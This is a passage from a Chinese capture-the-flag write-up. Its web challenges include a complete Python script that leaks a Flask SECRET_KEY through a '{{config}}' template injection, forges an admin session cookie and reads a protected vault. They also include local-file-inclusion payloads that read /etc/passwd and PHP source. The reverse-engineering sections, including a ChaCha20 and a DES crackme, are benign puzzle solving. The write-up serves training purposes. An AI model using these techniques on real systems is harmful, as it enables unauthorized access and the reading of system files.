&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;用这个 SECRET_KEY 伪造 Flask session，把会话内容改成：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;{&quot;role&quot;: &quot;tax_inspector&quot;, &quot;user_id&quot;: 1}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;带着伪造后的 session cookie 访问：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;/admin/vault
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以用下面这个脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import re
import html
import requests
from flask import Flask
from flask.sessions import SecureCookieSessionInterface


BASE = &quot;http://120.27.146.76:13583&quot;
USERNAME = &quot;admin&quot;
PASSWORD = &quot;123456&quot;
PROFILE_ID = 1


def get_secret_key():
    s = requests.Session()

    r = s.post(
        BASE + &quot;/login&quot;,
        data={&quot;username&quot;: USERNAME, &quot;password&quot;: PASSWORD},
        allow_redirects=True,
        timeout=10,
    )
    if r.status_code != 200:
        raise RuntimeError(f&quot;login failed: {r.status_code}&quot;)

    r = s.post(
        BASE + &quot;/api/import&quot;,
        json={
            &quot;profile_id&quot;: PROFILE_ID,
            &quot;data&quot;: {
                &quot;state&quot;: &quot;AUDIT_PENDING&quot;,
                &quot;custom_footer&quot;: &quot;{{config}}&quot;,
            },
        },
        timeout=10,
    )
    if r.status_code != 200:
        raise RuntimeError(f&quot;import failed: {r.status_code} {r.text}&quot;)

    r = s.get(BASE + f&quot;/preview/{PROFILE_ID}&quot;, timeout=10)
    text = html.unescape(r.text)

    m = re.search(r&quot;SECRET_KEY&apos;: &apos;([^&apos;]+)&apos;&quot;, text)
    if not m:
        raise RuntimeError(&quot;SECRET_KEY not found in preview response&quot;)

    return m.group(1)


def forge_session(secret_key):
    app = Flask(__name__)
    app.secret_key = secret_key
    serializer = SecureCookieSessionInterface().get_signing_serializer(app)
    return serializer.dumps({&quot;role&quot;: &quot;tax_inspector&quot;, &quot;user_id&quot;: 1})


def get_flag(cookie):
    s = requests.Session()
    s.cookies.set(&quot;session&quot;, cookie)

    r = s.get(BASE + &quot;/admin/vault&quot;, timeout=10)
    if r.status_code != 200:
        raise RuntimeError(f&quot;vault request failed: {r.status_code}&quot;)

    m = re.search(r&apos;&amp;lt;div class=&quot;flag-box&quot;&amp;gt;\s*(.*?)\s*&amp;lt;/div&amp;gt;&apos;, r.text, re.S)
    if not m:
        raise RuntimeError(&quot;flag not found in response&quot;)

    return m.group(1).strip()


def main():
    secret_key = get_secret_key()
    print(f&quot;[+] SECRET_KEY: {secret_key}&quot;)

    cookie = forge_session(secret_key)
    print(f&quot;[+] forged session: {cookie}&quot;)

    flag = get_flag(cookie)
    print(f&quot;[+] flag: {flag}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-07.png&quot; alt=&quot;Figure 7&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;WEB-Enterprise_OA&lt;/h2&gt;
&lt;h3&gt;题目截图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-08.png&quot; alt=&quot;Figure 8&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;访问首页可以看到导航链接使用了 &lt;code&gt;module&lt;/code&gt; 参数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/?module=public_notices.php
/?module=about.php
/?module=contact.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;说明页面内容很可能是通过 &lt;code&gt;include\(\)&lt;/code&gt; 动态加载的，因此优先测试文件包含。&lt;/p&gt;
&lt;p&gt;先尝试普通目录穿越：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/?module=../../etc/passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;返回报错中可以看到，服务端实际尝试包含的是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;include(etc/passwd)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;说明 &lt;code&gt;\.\./&lt;/code&gt; 被过滤掉了，继续读取首页源码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/?module=php://filter/convert.base64-encode/resource=/var/www/html/index.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解码后关键代码如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$module = isset($_GET[&apos;module&apos;]) ? $_GET[&apos;module&apos;] : &apos;public_notices.php&apos;;
$module = str_replace(&apos;../&apos;, &apos;&apos;, $module);
?&amp;gt;
...
&amp;lt;?php include($module); ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;问题就在这里：开发者只替换了字符串 &lt;code&gt;\.\./&lt;/code&gt;，但没有限制绝对路径。因此虽然相对路径穿越被“抹掉”了，绝对路径仍然可以直接包含系统文件。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-09.png&quot; alt=&quot;Figure 9&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;验证任意文件读取&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;请求：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/?module=/etc/passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功回显系统账户内容，证明绝对路径包含可用。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;读取 flag&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;结合常见 CTF 文件位置，尝试直接读取：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/?module=/flag.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功得到 flag。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-10.png&quot; alt=&quot;Figure 10&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Re&lt;/h1&gt;
&lt;h2&gt;rerere&lt;/h2&gt;
&lt;h3&gt;题目截图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-11.png&quot; alt=&quot;Figure 11&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;ida打开附件，主校验函数在sub_1400014FB&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-12.png&quot; alt=&quot;Figure 12&quot; /&gt;&lt;/p&gt;
&lt;p&gt;跳转过来&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-13.png&quot; alt=&quot;Figure 13&quot; /&gt;&lt;/p&gt;
&lt;p&gt;加密逻辑在sub_140001480&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-14.png&quot; alt=&quot;Figure 14&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;SBOX&lt;/code&gt; 可逆，直接对每个位置求逆即可：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;input[i] = INV_SBOX[ EXPECTED[i] ] ^ XORKEY[i % 8]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;关键数据&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-15.png&quot; alt=&quot;Figure 15&quot; /&gt;&lt;/p&gt;
&lt;p&gt;解题脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
expected = bytes.fromhex(
    &quot;a3 5b 4c 0a 0e 98 84 da&quot;
    &quot;14 e7 0b 91 53 49 4f b6&quot;
    &quot;a9 ac 0b 49 14 97 4f d5&quot;
    &quot;b1 96 75 f6 3b a7 84 c5&quot;
    &quot;a9 c9 06 36 c6 6c&quot;.replace(&quot; &quot;, &quot;&quot;)
)

xorkey = bytes.fromhex(&quot;b9 cd ce 30 b8 61 4e aa&quot;.replace(&quot; &quot;, &quot;&quot;))

sbox = bytes.fromhex(&quot;&quot;&quot;
c2 23 97 49 83 f6 d3 a7 eb bf 78 c3 29 56 d2 1a
13 bc 21 6a 37 8e 5f 0c b4 46 de e4 6c a2 66 30
0f a4 bb 8c 09 4b 3d 32 42 55 2d 4f f9 77 1b 74
1f 71 7b 9d 73 c4 ab d0 f3 c1 88 07 dc ce ef c0
72 4a 27 81 9b ee c7 28 26 5a 94 54 70 d1 e9 c8
98 36 91 41 b8 3a 79 0a 08 e5 af 80 24 ae 00 19
cc 7a f7 51 7d 69 ec 03 65 25 1c 01 f5 e6 bd d9
59 fe 92 b0 10 6f f0 e3 9f ad 84 f4 a5 33 35 48
53 b1 e0 d8 05 38 18 68 a9 14 c6 3f 61 8a 31 3b
ba 2b 4e e2 57 9a f1 ea 64 7e a0 93 b6 da 60 2e
1d 5b 82 34 6d fc cf 7f e7 96 67 43 06 44 c9 4c
40 db fd 4d b5 ed 39 2c b3 17 9e cd fa 6b ca 87
8f 9c 89 0e 63 45 86 aa 5e 95 16 c5 d5 2f a1 f8
99 ff 3c 0d 3e d4 04 76 d7 47 20 8d df 5c 7c a3
1e 8b 15 b9 a8 cb 22 a6 52 d6 fb 5d dd b2 6e e8
f2 e1 2a 58 62 12 11 50 75 b7 ac 90 0b 85 02 be
&quot;&quot;&quot;.replace(&quot;\n&quot;, &quot;&quot;).replace(&quot; &quot;, &quot;&quot;))

assert len(set(sbox)) == 256, &quot;SBOX 不是完整置换&quot;

inv_sbox = [0] * 256
for i, v in enumerate(sbox):
    inv_sbox[v] = i

flag = bytes(inv_sbox[e] ^ xorkey[i % 8] for i, e in enumerate(expected))

for i, e in enumerate(expected):
    assert sbox[flag[i] ^ xorkey[i % 8]] == e

print(flag.decode())

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-16.png&quot; alt=&quot;Figure 16&quot; /&gt;&lt;/p&gt;
&lt;p&gt;flag{1470e2b8be617231cef8d657f4a1cba2}&lt;/p&gt;
&lt;h2&gt;字节码迷踪&lt;/h2&gt;
&lt;h3&gt;题目截图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-17.png&quot; alt=&quot;Figure 17&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;py逆向，用die查看py版本是3.12&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-18.png&quot; alt=&quot;Figure 18&quot; /&gt;&lt;/p&gt;
&lt;p&gt;直接用在线网站反编译一下https://pylingual.io/&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-19.png&quot; alt=&quot;Figure 19&quot; /&gt;&lt;/p&gt;
&lt;p&gt;得到py源码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: &apos;temp_challenge.py&apos;
# Bytecode version: 3.12.0rc2 (3531)
# Source timestamp: 2026-04-05 13:07:22 UTC (1775394442)

import base64
def decrypt_flag(encoded_data, key):
    decoded = base64.b64decode(encoded_data)
    return &apos;&apos;.join((chr(b ^ key) for b in decoded))
def main():
    encoded_flag = &apos;CAIPCRVeABgUC1wCX0NXHh1YQx4cBFZDBV1bC0MCWw9fHF5WXV8MBx4T&apos;
    xor_key = 110
    user_input = input(&apos;请输入flag: &apos;).strip()
    correct_flag = decrypt_flag(encoded_flag, xor_key)
    if user_input == correct_flag:
        print(&apos;正确！&apos;)
    else:
        print(&apos;错误！&apos;)
if __name__ == &apos;__main__&apos;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;加解密对称(异或),直接拿密文跑一遍即可:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;解题脚本&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import base64

encoded_flag = &apos;CAIPCRVeABgUC1wCX0NXHh1YQx4cBFZDBV1bC0MCWw9fHF5WXV8MBx4T&apos;
xor_key = 110

decoded = base64.b64decode(encoded_flag)
flag = &apos;&apos;.join(chr(b ^ xor_key) for b in decoded)
print(flag)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-20.png&quot; alt=&quot;Figure 20&quot; /&gt;&lt;/p&gt;
&lt;p&gt;flag{0nvze2l1-9ps6-prj8-k35e-l5a1r0831bip}&lt;/p&gt;
&lt;h2&gt;ChaCha20&lt;/h2&gt;
&lt;h3&gt;题目截图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-21.png&quot; alt=&quot;Figure 21&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;jadx打开后，直接跳转到mainactivity&lt;/p&gt;
&lt;p&gt;验证按钮回调走这里&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-22.png&quot; alt=&quot;Figure 22&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;NativeBridge&lt;/code&gt; 注册了一堆 native 方法，但 &lt;code&gt;MainActivity&lt;/code&gt; 只调了 &lt;code&gt;c\(String\)&lt;/code&gt;，其它 &lt;code&gt;ab/cd/dc&lt;/code&gt; 都是噪音。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-23.png&quot; alt=&quot;Figure 23&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;libmyapplication\.so&lt;/code&gt; 没导出 &lt;code&gt;Java\_…\_c&lt;/code&gt; 这种符号，是用 &lt;code&gt;RegisterNatives&lt;/code&gt; 动态注册的。&lt;code&gt;\.data\.rel\.ro&lt;/code&gt; 起头三个 12 字节的 &lt;code&gt;JNINativeMethod&lt;/code&gt; 结构体：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-24.png&quot; alt=&quot;Figure 24&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-25.png&quot; alt=&quot;Figure 25&quot; /&gt;&lt;/p&gt;
&lt;p&gt;解出三项：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;name&lt;/th&gt;
&lt;th&gt;signature&lt;/th&gt;
&lt;th&gt;fnPtr&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;a&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;\(\[B\)\[B&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x250b0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;b&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;\(\[B\)\[B&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x251f0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;c&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;\(Ljava/lang/String;\)Z&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x25330&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;0x25330是目标函数&lt;/p&gt;
&lt;p&gt;&lt;code&gt;c\(\)&lt;/code&gt; 做 4 件事：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;GetStringUTFChars&lt;/code&gt; 取出用户输入；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;把输入字节当明文喂给「加密+hex」函数 &lt;code&gt;sub\_25740&lt;/code&gt;，得到 &lt;code&gt;out\_hex&lt;/code&gt;（小写十六进制字符串）；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;把 &lt;code&gt;out\_hex&lt;/code&gt; 一字节一字节和全局 &lt;code&gt;g\_target&lt;/code&gt;（&lt;code&gt;std::vector\&amp;amp;lt;uint8\_t\&amp;amp;gt;&lt;/code&gt;，地址 &lt;code&gt;0x5a16c&lt;/code&gt;）比较；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;完全相等返回 &lt;code&gt;JNI\_TRUE&lt;/code&gt;，否则 &lt;code&gt;JNI\_FALSE&lt;/code&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-26.png&quot; alt=&quot;Figure 26&quot; /&gt;&lt;/p&gt;
&lt;p&gt;sub_276f0&lt;code&gt;看反汇编是个&lt;/code&gt;mov $0x8, %eax; ret&lt;code&gt;的「常量 8」，但它其实是一个 stub —— 真实的&lt;/code&gt;g_target.size()&lt;code&gt;是把&lt;/code&gt;vector&lt;code&gt;的&lt;/code&gt;_end - _begin&lt;code&gt;拿出来再除以 1。比较循环每轮按&lt;/code&gt;0x40&lt;code&gt;\-byte 块前进（外层 &lt;/code&gt;25803: cmp $0x40, %eax`），所以一轮匹配 64 字节（密文是 50 字符，刚好够用一轮）&lt;/p&gt;
&lt;p&gt;&lt;code&gt;c\(\)&lt;/code&gt; 的语义就是：&lt;code&gt;hex\(ChaCha20\(input\)\) == \&amp;amp;\#34;d097c3f6d279df23af24ad35e9e08793831c8e2a22a1b2968b\&amp;amp;\#34;&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;加密+hex 包装函数 `sub_25740`&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-27.png&quot; alt=&quot;Figure 27&quot; /&gt;&lt;/p&gt;
&lt;p&gt;key和nonce&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-28.png&quot; alt=&quot;Figure 28&quot; /&gt;&lt;/p&gt;
&lt;p&gt;取 key / nonce 的字节排布&lt;/p&gt;
&lt;p&gt;内部一系列 &lt;code&gt;call 27160&lt;/code&gt;（每次读一个 32-bit 小端 word），把 &lt;code&gt;\.rodata&lt;/code&gt; 字节按 little-endian 拼成 &lt;code&gt;state\[4\.\.11\]&lt;/code&gt;（key）和 &lt;code&gt;state\[13\.\.15\]&lt;/code&gt;（nonce），&lt;code&gt;state\[12\] = counter&lt;/code&gt;。这正好是 RFC 7539 ChaCha20 的状态布局。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-29.png&quot; alt=&quot;Figure 29&quot; /&gt;&lt;/p&gt;
&lt;p&gt;hex字母表&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-30.png&quot; alt=&quot;Figure 30&quot; /&gt;&lt;/p&gt;
&lt;p&gt;sub_27530&lt;code&gt;把每个密文字节&lt;/code&gt;b拆成两位：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-31.png&quot; alt=&quot;Figure 31&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ChaCha20 block 函数sub_26cc0&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sub\_25740&lt;/code&gt; 在每轮里调一次 &lt;code&gt;0x26cc0&lt;/code&gt; 生成 64 字节 keystream。这就是标准 ChaCha20 block：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-32.png&quot; alt=&quot;Figure 32&quot; /&gt;&lt;/p&gt;
&lt;p&gt;sub_271a0就是 ChaCha20 的 quarter-round（add / xor / rotl 16/12/8/7）。10 次 double-round = 20 round。&lt;/p&gt;
&lt;p&gt;目标密文：来自 `.init_array` 在运行时填充的全局 vector&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-33.png&quot; alt=&quot;Figure 33&quot; /&gt;&lt;/p&gt;
&lt;p&gt;sub_24be0是真正的填充逻辑：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-34.png&quot; alt=&quot;Figure 34&quot; /&gt;&lt;/p&gt;
&lt;p&gt;解题脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

KEY = bytes.fromhex(
    &quot;149263a16f2d89cbf0375b1ca94e78d3&quot;
    &quot;226017ee9abc4d0853e1762a8dc4903f&quot;
)
NONCE = bytes.fromhex(&quot;44332211abcdef668899aa55&quot;)
CIPHERTEXT = bytes.fromhex(
    &quot;d097c3f6d279df23af24ad35e9e08793831c8e2a22a1b2968b&quot;
)
COUNTER = 1  # IETF ChaCha20 默认起始 counter

def rotl32(v, n):
    return ((v &amp;lt;&amp;lt; n) &amp;amp; 0xFFFFFFFF) | (v &amp;gt;&amp;gt; (32 - n))

def quarter_round(s, a, b, c, d):
    s[a] = (s[a] + s[b]) &amp;amp; 0xFFFFFFFF; s[d] ^= s[a]; s[d] = rotl32(s[d], 16)
    s[c] = (s[c] + s[d]) &amp;amp; 0xFFFFFFFF; s[b] ^= s[c]; s[b] = rotl32(s[b], 12)
    s[a] = (s[a] + s[b]) &amp;amp; 0xFFFFFFFF; s[d] ^= s[a]; s[d] = rotl32(s[d], 8)
    s[c] = (s[c] + s[d]) &amp;amp; 0xFFFFFFFF; s[b] ^= s[c]; s[b] = rotl32(s[b], 7)

def u32le(b):
    return int.from_bytes(b, &quot;little&quot;)

def chacha20_keystream(key, nonce, length, counter=1):
    assert len(key) == 32 and len(nonce) == 12
    out = bytearray()
    bc = counter
    consts = b&quot;expand 32-byte k&quot;
    while len(out) &amp;lt; length:
        state = (
            [u32le(consts[i:i + 4]) for i in range(0, 16, 4)]
            + [u32le(key[i:i + 4]) for i in range(0, 32, 4)]
            + [bc]
            + [u32le(nonce[i:i + 4]) for i in range(0, 12, 4)]
        )
        w = state[:]
        for _ in range(10):  # 20 rounds = 10 double-rounds
            quarter_round(w, 0, 4, 8, 12)
            quarter_round(w, 1, 5, 9, 13)
            quarter_round(w, 2, 6, 10, 14)
            quarter_round(w, 3, 7, 11, 15)
            quarter_round(w, 0, 5, 10, 15)
            quarter_round(w, 1, 6, 11, 12)
            quarter_round(w, 2, 7, 8, 13)
            quarter_round(w, 3, 4, 9, 14)
        for i, word in enumerate(w):
            out.extend(((word + state[i]) &amp;amp; 0xFFFFFFFF).to_bytes(4, &quot;little&quot;))
        bc = (bc + 1) &amp;amp; 0xFFFFFFFF
    return bytes(out[:length])

def chacha20_xor(key, nonce, data, counter=1):
    ks = chacha20_keystream(key, nonce, len(data), counter)
    return bytes(a ^ b for a, b in zip(data, ks))

def main():
    print(f&quot;[+] key      : {KEY.hex()}&quot;)
    print(f&quot;[+] nonce    : {NONCE.hex()}&quot;)
    print(f&quot;[+] cipher   : {CIPHERTEXT.hex()}&quot;)
    print(f&quot;[+] counter={COUNTER}&quot;)
    flag = chacha20_xor(KEY, NONCE, CIPHERTEXT, counter=COUNTER)
    try:
        print(f&quot;[+] FLAG     : {flag.decode()}&quot;)
    except UnicodeDecodeError:
        print(f&quot;[!] non-utf8 plaintext: {flag!r}&quot;)

if __name__ == &quot;__main__&quot;:
    main()

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-35.png&quot; alt=&quot;Figure 35&quot; /&gt;&lt;/p&gt;
&lt;p&gt;flag{2023326077889096380}&lt;/p&gt;
&lt;h2&gt;DES加密验证&lt;/h2&gt;
&lt;h3&gt;题目截图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-36.png&quot; alt=&quot;Figure 36&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;主 Activity:DEX 热加载&lt;/p&gt;
&lt;p&gt;&lt;code&gt;com\.cr\.crackme2\.MainActivity\.onCreate\(\)&lt;/code&gt; 调用了 &lt;code&gt;b\(\)&lt;/code&gt;,关键步骤:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-37.png&quot; alt=&quot;Figure 37&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Native 库:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public static native boolean verifyFlag(String str);
static { System.loadLibrary(&quot;crackme2&quot;); }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;释放出的 wide Activity&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;assets/classes3\.dex&lt;/code&gt; 中的 &lt;code&gt;com\.cr\.test\.wide&lt;/code&gt; 是真正承担 UI 校验的类:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;private boolean callNativeMethod(String str) {
    Class&amp;lt;?&amp;gt; clazz = Class.forName(&quot;com.cr.crackme2.MainActivity&quot;);
    Method method = clazz.getMethod(&quot;verifyFlag&quot;, String.class);
    return (Boolean) method.invoke(null, str);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-38.png&quot; alt=&quot;Figure 38&quot; /&gt;&lt;/p&gt;
&lt;p&gt;干扰类:&lt;code&gt;com\.example\.demo\.\{MathUtils, LibraryBook, ShoppingCart, User, MainActivity, MainActivity2\}&lt;/code&gt; —— 都是与校验无关的样板类,用来扩大 jadx 输出迷惑分析人员。&lt;/p&gt;
&lt;p&gt;去ida里面分析so文件&lt;/p&gt;
&lt;p&gt;函数注册&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// JNI_OnLoad → register_native_methods
RegisterNatives(env, FindClass(&quot;com/cr/crackme2/MainActivity&quot;),
                {&quot;verifyFlag&quot;, &quot;(Ljava/lang/String;)Z&quot;, &amp;amp;verifyFlag}, 1);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;verifyFlag&lt;/code&gt;&lt;/strong&gt;** 反编译(关键)**&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;char verifyFlag(JNIEnv *env, jclass cls, jstring jstr) {
    const char *pcVar1 = env-&amp;gt;GetStringUTFChars(jstr, NULL);
    int len_in        = strlen(pcVar1);

    size_t padded_len = 0;
    uchar *padded     = pkcs7_pad(pcVar1, len_in, &amp;amp;padded_len);   // FUN_00034490
    uchar *enc_buf    = malloc(padded_len);
    des_ecb_encrypt(padded, padded_len, (uchar*)&quot;12345678&quot;, enc_buf);  // !!! 干扰

    std::string hex;
    bytesToHex(&amp;amp;hex, padded);                                      // 真正比较的源
    int got = std::string::data(&amp;amp;hex);

    char ok = 0;
    for (int i = 0; i &amp;lt; 1; i++) {
        if (std::string_eq(&amp;amp;DAT_00068060 + i*0xc, &amp;amp;hex)) {         // 与全局 EncryptedFlag 比较
            ok = 1; break;
        }
    }
    return ok;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意几个反直觉的点:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;DES 结果没被使用&lt;/strong&gt; —— `enc_buf` 仅 `free` 掉,从未参与比较。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;`bytesToHex` 接受的是 &lt;strong&gt;PKCS#7 填充后的明文&lt;/strong&gt;,不是密文。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;比较使用 &lt;code&gt;std::string::operator==&lt;/code&gt;(&lt;code&gt;FUN\_00034560&lt;/code&gt;),即逐字节相等。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;全局对象 &lt;code&gt;DAT\_00068060&lt;/code&gt;(&lt;code&gt;EncryptedFlag&lt;/code&gt; 类型)是 &lt;code&gt;std::string&lt;/code&gt;,内容在构造函数里被静态初始化。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;PKCS#7 填充函数`FUN_00034490`&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void *pkcs7_pad(const void *src, int len, size_t *out_len) {
    int pad = 8 - len % 8;            // 即使整除也会再补 8 字节
    *out_len = len + pad;
    void *p = malloc(*out_len);
    memcpy(p, src, len);
    for (int i = len; i &amp;lt; *out_len; i++) ((char*)p)[i] = (char)pad;
    return p;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;标准 PKCS#7,补到 8 字节倍数。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;`EncryptedFlag` 全局对象的初始化&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在 &lt;code&gt;\.init\_array&lt;/code&gt; 调度的构造函数 &lt;code&gt;FUN\_00033e40&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void __cxx_global_var_init() {
    std::string::string(&amp;amp;DAT_00068060,
        &quot;666c61677b623532376532363231313331313334656332323235316366626361&quot;
        &quot;373565386339663561653466343133373138373166643535393131393237663636613162347d0202&quot;);
    __cxa_atexit(EncryptedFlag::~EncryptedFlag, ...);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解题脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
# -*- coding: utf-8 -*-

CMP_TARGET_HEX = (
    &quot;666c61677b623532376532363231313331313334656332323235316366626361&quot;
    &quot;373565386339663561653466343133373138373166643535393131393237663636613162347d0202&quot;
)

def pkcs7_pad(data: bytes, block: int = 8) -&amp;gt; bytes:
    pad_len = block - (len(data) % block)
    return data + bytes([pad_len]) * pad_len

def pkcs7_unpad(data: bytes) -&amp;gt; bytes:
    pad_len = data[-1]
    if pad_len &amp;lt; 1 or pad_len &amp;gt; 8:
        raise ValueError(f&quot;非法的 PKCS#7 填充长度: {pad_len}&quot;)
    if data[-pad_len:] != bytes([pad_len]) * pad_len:
        raise ValueError(&quot;PKCS#7 填充内容不一致&quot;)
    return data[:-pad_len]

def recover_flag() -&amp;gt; str:
    raw = bytes.fromhex(CMP_TARGET_HEX)
    return pkcs7_unpad(raw).decode(&quot;ascii&quot;)

def verify(flag: str) -&amp;gt; bool:

